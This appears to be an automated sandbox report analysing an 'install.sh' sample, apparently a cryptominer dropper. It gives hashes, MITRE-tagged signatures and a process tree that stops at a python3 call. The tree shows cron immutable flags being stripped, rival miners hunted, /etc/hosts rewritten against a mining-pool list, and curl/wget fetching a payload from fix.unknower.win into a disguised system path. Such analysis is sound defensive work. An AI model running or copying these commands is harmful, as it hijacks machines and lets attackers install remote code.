7ed7a1f09123fe8e0d776cfc7f31f7cbfe9afe26aa5ca19f124a6ccb15c97f52

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/08/2026, 11:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.sh
Size 67KB
Sample260808-nbpcgsej9y
SHA256 7ed7a1f09123fe8e0d776cfc7f31f7cbfe9afe26aa5ca19f124a6ccb15c97f52
MD5 c88bc22f9dd6afc2f4397dafec672ac2
SHA1 978f8db54287e00db8ff0a381926d6fc94d0a91c
SHA512 b017596be6c99376efacbcb9c5a085d28cdf63b2a5f37f858518ca89cb2f88b33abc0f422422f9e79c19d7e5cda07c0259ee6b4d4ce853082cf7aa0165594219
SSDEEP 768:6OYwcTtmv50fiqfQO96/wtXPjUPDVcv4z/Ntrw1iqWgAVyUPVGTbf:9Yu0f3aDVcv4pqbf
TLSH
T11E63A7B2B560C5703969C16C678B41503A49703B356C382874AFF42CBFDC658A1FABBE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm discovery execution

Malware Config

Signatures

Modifies the /etc/hosts DNS resolution file 1 TTPs 2 IoCs

Modifying the /etc/hosts name-resolution file changes IP routing, which can facilitate traffic hijacking or the blocking of (security update) endpoints.

Adversary-in-the-Middle

T1557

description	ioc	Process
File opened for modification	/etc/hosts	install.sh
File opened for modification	/etc/hosts	cp

Enumerates running processes
Discovers information about currently running processes on the system

Removes the immutable protection flag from a file 1 TTPs 9 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
672	chattr
676	chattr
930	timeout
931	apt-get
931	apt-get
673	chattr
678	chattr
931	apt-get
931	apt-get

Checks CPU configuration 1 TTPs 7 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 40 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/3/status	pgrep
File opened for reading	/proc/24/cmdline	pgrep
File opened for reading	/proc/338/cmdline	pgrep
File opened for reading	/proc/637/status	pgrep
File opened for reading	/proc/644/status	pgrep
File opened for reading	/proc/136/status	pgrep
File opened for reading	/proc/289/status	pgrep
File opened for reading	/proc/580/status	pgrep
File opened for reading	/proc/18/cmdline	pgrep
File opened for reading	/proc/341/cmdline	pgrep
File opened for reading	/proc/328/cmdline	pgrep
File opened for reading	/proc/22/status	pgrep
File opened for reading	/proc/148/cmdline	pgrep
File opened for reading	/proc/158/status	pgrep
File opened for reading	/proc/307/status	pgrep
File opened for reading	/proc/26/status	pgrep
File opened for reading	/proc/9/status	pgrep
File opened for reading	/proc/289/status	pgrep
File opened for reading	/proc/644/status	pgrep
File opened for reading	/proc/307/status	pgrep
File opened for reading	/proc/291/cmdline	pgrep
File opened for reading	/proc/42/status	pgrep
File opened for reading	/proc/13/cmdline	pgrep
File opened for reading	/proc/338/status	pgrep
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/filesystems	pgrep
File opened for reading	/proc/158/cmdline	pgrep
File opened for reading	/proc/6/cmdline	pgrep
File opened for reading	/proc/641/cmdline	pgrep
File opened for reading	/proc/29/status	pgrep
File opened for reading	/proc/3/cmdline	pgrep
File opened for reading	/proc/291/cmdline	pgrep
File opened for reading	/proc/321/cmdline	pgrep
File opened for reading	/proc/158/cmdline	pgrep
File opened for reading	/proc/9/status	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/632/cmdline	pgrep
File opened for reading	/proc/28/cmdline	pgrep
File opened for reading	/proc/637/status	pgrep
File opened for reading	/proc/3/cmdline	pgrep
File opened for reading	/proc/341/cmdline	pgrep
File opened for reading	/proc/22/cmdline	pgrep
File opened for reading	/proc/5/status	pgrep
File opened for reading	/proc/108/cmdline	pgrep
File opened for reading	/proc/338/status	pgrep
File opened for reading	/proc/43/status	pgrep
File opened for reading	/proc/16/status	pgrep
File opened for reading	/proc/135/cmdline	pgrep
File opened for reading	/proc/14/status	pgrep
File opened for reading	/proc/289/status	pgrep
File opened for reading	/proc/23/cmdline	pgrep
File opened for reading	/proc/148/cmdline	pgrep
File opened for reading	/proc/15/cmdline	pgrep
File opened for reading	/proc/299/cmdline	pgrep
File opened for reading	/proc/328/status	pgrep
File opened for reading	/proc/18/status	pgrep
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/665/status	pgrep
File opened for reading	/proc/17/cmdline	pgrep
File opened for reading	/proc/42/cmdline	pgrep
File opened for reading	/proc/340/status	pgrep
File opened for reading	/proc/24/cmdline	pgrep
File opened for reading	/proc/3/cmdline	pgrep
File opened for reading	/proc/23/status	pgrep

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.dcrn.644	install.sh
File opened for modification	/tmp/fileutl.message.z1VwFC	apt-cache
File opened for modification	/tmp/fileutl.message.OwExdr	apt-get
File opened for modification	/tmp/sh-thd.9x04X4	install.sh
File opened for modification	/tmp/fileutl.message.gIISFt	apt-cache
File opened for modification	/tmp/fileutl.message.wdPWeQ	apt-cache
File opened for modification	/tmp/fileutl.message.pH5PvW	apt-cache
File opened for modification	/tmp/fileutl.message.WL918K	apt-cache
File opened for modification	/tmp/fileutl.message.orqNpd	apt-get
File opened for modification	/tmp/fileutl.message.oxKDKi	apt-get
File opened for modification	/tmp/fileutl.message.SWr4oz	apt-get
File opened for modification	/tmp/.crn.644	install.sh
File opened for modification	/tmp/fileutl.message.Evl15D	apt-cache
File opened for modification	/tmp/fileutl.message.CScLUt	apt-cache
File opened for modification	/tmp/fileutl.message.swuv0f	apt-cache

Software Deployment Tools 1 TTPs 1 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
931	apt-get

/tmp/install.sh
/tmp/install.sh
1⤵
- Modifies the /etc/hosts DNS resolution file
- Writes file to tmp directory
PID:644
- /usr/bin/dirname
  dirname /tmp/install.sh
  2⤵
  PID:653
- /usr/bin/basename
  basename /tmp/install.sh
  2⤵
  PID:657
- /usr/bin/id
  id -u
  2⤵
  PID:661
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  - Removes the immutable protection flag from a file
  PID:672
- /usr/bin/chattr
  chattr -R -ia /etc/crontab
  2⤵
  - Removes the immutable protection flag from a file
  PID:673
- /usr/bin/chattr
  chattr -R -ia /etc/cron.d
  2⤵
  - Removes the immutable protection flag from a file
  PID:676
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron/crontabs
  2⤵
  - Removes the immutable protection flag from a file
  PID:678
- /usr/bin/pgrep
  pgrep -f /dev/shm/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:681
- /usr/bin/pgrep
  pgrep -f /dev/shm/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:683
- /usr/bin/pgrep
  pgrep -f /dev/shm/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:686
- /usr/bin/pgrep
  pgrep -f /dev/shm/idle
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:688
- /usr/bin/pgrep
  pgrep -f /dev/shm/ksmd
  2⤵
  - Reads CPU attributes
  PID:690
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:692
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:694
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:696
- /usr/bin/pgrep
  pgrep -f /etc/javaa
  2⤵
  - Reads CPU attributes
  PID:698
- /usr/bin/pgrep
  pgrep -f /etc/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:700
- /usr/bin/pgrep
  pgrep -f /etc/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:702
- /usr/bin/pgrep
  pgrep -f /etc/idle
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:704
- /usr/bin/pgrep
  pgrep -f /etc/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:706
- /usr/bin/pgrep
  pgrep -f /tmp/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:708
- /usr/bin/pgrep
  pgrep -f /tmp/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:710
- /usr/bin/pgrep
  pgrep -f /tmp/kworker
  2⤵
  - Reads CPU attributes
  PID:712
- /usr/bin/pgrep
  pgrep -f /tmp/idle
  2⤵
  - Reads CPU attributes
  PID:714
- /usr/bin/pgrep
  pgrep -f /tmp/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:716
- /usr/bin/pgrep
  pgrep -f /var/tmp/javaa
  2⤵
  - Reads CPU attributes
  PID:720
- /usr/bin/pgrep
  pgrep -f /var/tmp/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:724
- /usr/bin/pgrep
  pgrep -f /var/tmp/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:729
- /usr/bin/pgrep
  pgrep -f /app/javaa
  2⤵
  - Reads CPU attributes
  PID:734
- /usr/bin/pgrep
  pgrep -f /app/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:738
- /usr/bin/pgrep
  pgrep -f /app/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:743
- /usr/bin/pgrep
  pgrep -f /app/gitea/javaa
  2⤵
  - Reads CPU attributes
  PID:748
- /usr/bin/pgrep
  pgrep -f /app/gitea/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:752
- /usr/bin/pgrep
  pgrep -f /app/gitea/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:757
- /usr/bin/pgrep
  pgrep -f /app/gitea/idle
  2⤵
  - Reads CPU attributes
  PID:762
- /usr/bin/pgrep
  pgrep -f /app/gitea/ksmd
  2⤵
  - Reads CPU attributes
  PID:767
- /usr/bin/pgrep
  pgrep -f /data/gitea/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:773
- /usr/bin/pgrep
  pgrep -f /data/gitea/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:781
- /usr/bin/pgrep
  pgrep -f /data/gitea/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:786
- /usr/bin/pgrep
  pgrep -x javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:790
- /usr/bin/pgrep
  pgrep -x javab
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:792
- /usr/bin/pgrep
  pgrep -f "\\./XX[A-Za-z]"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:795
- /usr/bin/pgrep
  pgrep -f esocket4
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:797
- /usr/bin/pgrep
  pgrep -f /tmp/bobs
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:799
- /bin/rm
  rm -f /etc/cron.d/javaa
  2⤵
  PID:800
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:801
- /bin/grep
  grep -qiE "kworker|javaa|ksmd|javab" /tmp/.crn.644
  2⤵
  PID:802
- /bin/rm
  rm -f /tmp/.crn.644
  2⤵
  PID:803
- /usr/bin/id
  id -u
  2⤵
  PID:804
- /bin/grep
  grep -qF 34.70.205.211 /etc/hosts
  2⤵
  PID:805
- /bin/grep
  grep -qF 69.30.251.156 /etc/hosts
  2⤵
  PID:806
- /bin/grep
  grep -qF kworker.eth.limo /etc/hosts
  2⤵
  PID:807
- /bin/grep
  grep -qF kworker.eth.link /etc/hosts
  2⤵
  PID:808
- /bin/grep
  grep -qF 216.98.10.60 /etc/hosts
  2⤵
  PID:809
- /usr/bin/pgrep
  pgrep -f xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:811
- /usr/bin/pgrep
  pgrep -f ccminer
  2⤵
  - Reads CPU attributes
  PID:813
- /usr/bin/pgrep
  pgrep -f SRBMiner-MULTI
  2⤵
  - Reads CPU attributes
  PID:815
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:816
- /bin/grep
  grep -qF universal-mine-watchdog /tmp/.dcrn.644
  2⤵
  PID:817
- /bin/rm
  rm -f /tmp/.dcrn.644
  2⤵
  PID:818
- /usr/bin/id
  id -u
  2⤵
  PID:819
- /bin/grep
  grep -qF gulf.moneroocean.stream /etc/hosts
  2⤵
  PID:820
- /bin/grep
  grep -qF verushash.eu.mine.zpool.ca /etc/hosts
  2⤵
  PID:821
- /usr/bin/id
  id -u
  2⤵
  PID:822
- /bin/grep
  grep -qE "docker|containerd|kubepods" /proc/1/cgroup
  2⤵
  PID:823
- /bin/grep
  grep -qE "^....i"
  2⤵
  PID:825
- /usr/bin/lsattr
  lsattr /etc/hosts
  2⤵
  PID:824
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:827
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:829
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:831
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:833
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:835
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:839
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:842
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:845
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:847
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:851
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:853
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:857
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:859
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:862
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:865
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:869
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:871
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:875
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:877
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:880
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:883
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:886
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:889
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:892
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:895
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:898
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:901
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:904
- /bin/cat
  cat
  2⤵
  PID:906
- /usr/bin/stat
  stat -c "%a" /etc/hosts
  2⤵
  PID:910
- /bin/cp
  cp /etc/hosts.xmon.644 /etc/hosts
  2⤵
  - Modifies the /etc/hosts DNS resolution file
  PID:911
- /bin/chmod
  chmod 644 /etc/hosts
  2⤵
  PID:914
- /bin/rm
  rm -f /etc/hosts.xmon.644
  2⤵
  PID:915
- /bin/grep
  grep -qE "docker|containerd|kubepods" /proc/1/cgroup
  2⤵
  PID:917
- /usr/bin/timeout
  timeout 5 systemctl is-active --quiet ssl-compat
  2⤵
  PID:919
- - /usr/local/sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:920
- - /usr/local/bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:920
- - /usr/sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:920
- - /usr/bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:920
- - /sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:920
- - /bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    - Enumerates kernel/hardware configuration
    PID:920
- /usr/bin/id
  id -u
  2⤵
  PID:921
- /usr/bin/id
  id -u
  2⤵
  PID:922
- /sbin/modprobe
  modprobe msr
  2⤵
  PID:923
- /usr/bin/apt-cache
  apt-cache show libbpf1
  2⤵
  - Writes file to tmp directory
  PID:924
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:925
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:926
- /usr/bin/apt-cache
  apt-cache show libelf1t64
  2⤵
  - Writes file to tmp directory
  PID:927
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:928
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:929
- /usr/bin/timeout
  timeout 90 apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
  2⤵
  - Removes the immutable protection flag from a file
  PID:930
- - /usr/local/sbin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    PID:931
- - /usr/local/bin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    PID:931
- - /usr/sbin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    PID:931
- - /usr/bin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    - Writes file to tmp directory
    - Software Deployment Tools
    PID:931
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:932
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:933
- /bin/mkdir
  mkdir -p /usr/share/doc/libssl-compat3 /var/log/dist-upgrade
  2⤵
  PID:934
- /usr/bin/curl
  curl --connect-timeout 10 --max-time 15 -sI http://fix.unknower.win/
  2⤵
  - Checks CPU configuration
  PID:935
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/ssl-compet.tmp.644
  2⤵
  PID:939
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/ssl-compet.tmp.644 http://fix.unknower.win/ssl-compet
  2⤵
  - Checks CPU configuration
  PID:940
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/ssl-compet.tmp.644
  2⤵
  PID:942
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/ssl-compet.tmp.644 http://fix.unknower.win/
  2⤵
  - Checks CPU configuration
  PID:943
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/ssl-compet.tmp.644
  2⤵
  PID:947
- /usr/bin/wget
  wget "--timeout=30" "--tries=3" -O /usr/share/doc/libssl-compat3/ssl-compet.tmp.644 http://fix.unknower.win/ssl-compet
  2⤵
  PID:948
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/ssl-compet.tmp.644
  2⤵
  PID:956
- /usr/bin/wget
  wget "--timeout=30" "--tries=3" -O /usr/share/doc/libssl-compat3/ssl-compet.tmp.644 http://fix.unknower.win/
  2⤵
  PID:957
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/ssl-compet.tmp.644
  2⤵
  PID:962
- /usr/bin/python3
